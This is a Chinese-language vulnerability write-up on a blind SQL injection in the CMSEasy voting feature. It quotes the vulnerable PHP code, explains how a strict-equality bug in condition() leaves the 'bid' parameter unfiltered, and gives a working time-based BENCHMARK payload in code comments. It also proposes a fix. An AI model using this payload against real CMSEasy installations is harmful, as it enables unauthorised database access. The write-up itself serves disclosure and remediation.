cmseasy盲注漏洞

出错的是一个通用函数,所以注入不只一处,在这里就用能够相对简单利用的来写。

lib/default/ballot_act.php
[php]
function index_action() {
if (front::post('submit')) {
if (!front::post('ballot')) {

front::alert(lang('Please_select_vote'));

return false;

}

/*

if (config::get('checkip')) {

$time=cookie::get('vttime');

if (time() -$time

front::alert(lang('You_have_voted'));

return false;

}

}*/

$bid=front::$post['bid'];

if (is_array(front::$post['ballot'])) {

$ids=implode(',',front::$post['ballot']);

}

else {

$ids=front::$post['ballot'];

}

if(preg_match('/(select|union|and|\'|"|\))/i',$ids)){ //只是检查了$ids并没有检查$bid。读代码眼睛读花了还真看不错来- -。

exit('非法参数');

}

$where="id in($ids)";

$data='num=num+1';

$option=new option();

$option->rec_update($data,$where);

$this->_table->rec_update($data,$bid); //跟进 0x01

//1 and if(1=1,BENCHMARK(1000000,MD5(1)),null)

//UPDATE `cmseasy_ballot` SET num=num+1 WHERE and if(1=1,BENCHMARK(1000000,MD5(1)),null) 延时3秒左右。

//UPDATE `cmseasy_ballot` SET num=num+1 WHERE and if(1=2,BENCHMARK(1000000,MD5(1)),null)

cookie::set('vttime',time(),time() +3600 * 24);

front::alert(lang('Successful_vote'));

}

}
[/php]

lib/inc/table.php 0x01
[php]
function rec_update($row,$where) {

$tbname=$this->name;

$sql=$this->sql_update($tbname,$row,$where); //跟进

//echo $sql."
";

return $this->query_unbuffered($sql) or die(mysql_error());

}
function sql_update($tbname,$row,$where) {

$sqlud='';

if (is_string($row))

$sqlud=$row.' ';

else

foreach ($row as $key=>$value) {

if (in_array($key,explode(',',$this->getcolslist()))) {

$value=$value;

if (preg_match('/^\[(.*)\]$/',$value,$match))

$sqlud .= "`$key`"."= ".$match[1].",";

elseif ($value === "")

$sqlud .= "`$key`= NULL, ";

else

$sqlud .= "`$key`"."= '".$value."',";

}

}

$sqlud=rtrim($sqlud);

$sqlud=rtrim($sqlud,',');

$this->condition($where);//问题处在这儿,跟进

$sql="UPDATE `".$tbname."` SET ".$sqlud." WHERE ".$where;

return $sql;

}

function condition(&$condition) {

if (isset($condition) &&is_array($condition)) { //不是数组跳过

$_condition=array();

foreach ($condition as $key=>$value) {

$value=str_replace("'","\'",$value);

$_condition[]="`$key`='$value'";

}

$condition=implode(' and ',$_condition);

}

else if (is_numeric($condition)) { //不是数字跳过

$this->getFields();

$condition="`$this->primary_key`='$condition'";

}else if(true === $condition){ //错在这儿,程序员本意是如果值为真就把'true'赋值给$condition,这样不是数组又不是数字的就过滤了,但是他用了3个等号,全等,类型也要匹配才会赋值,所以这里跳过了赋值,所以悲剧发生了,只要用到condition这个函数的都会悲剧。

//很多关键的数据库操作都调用了该函数,慢慢找还会有很多注入的。建议改成2个等号修复该函数而不是过滤这个投票的参数。

$condition = 'true';

}

if (get_class($this) == 'archive') {

if (!front::get('deletestate')) {

if ($condition)

$condition.=' and (state IS NULL or state<>\'-1\') ';

else

$condition='state IS NULL or state<>\'-1\' ';

}

else {

if ($condition)

$condition.=' and state=\'-1\' ';

else

$condition=' state=\'-1\' ';

}

}

}
[/php]
cms1

cms2

发表评论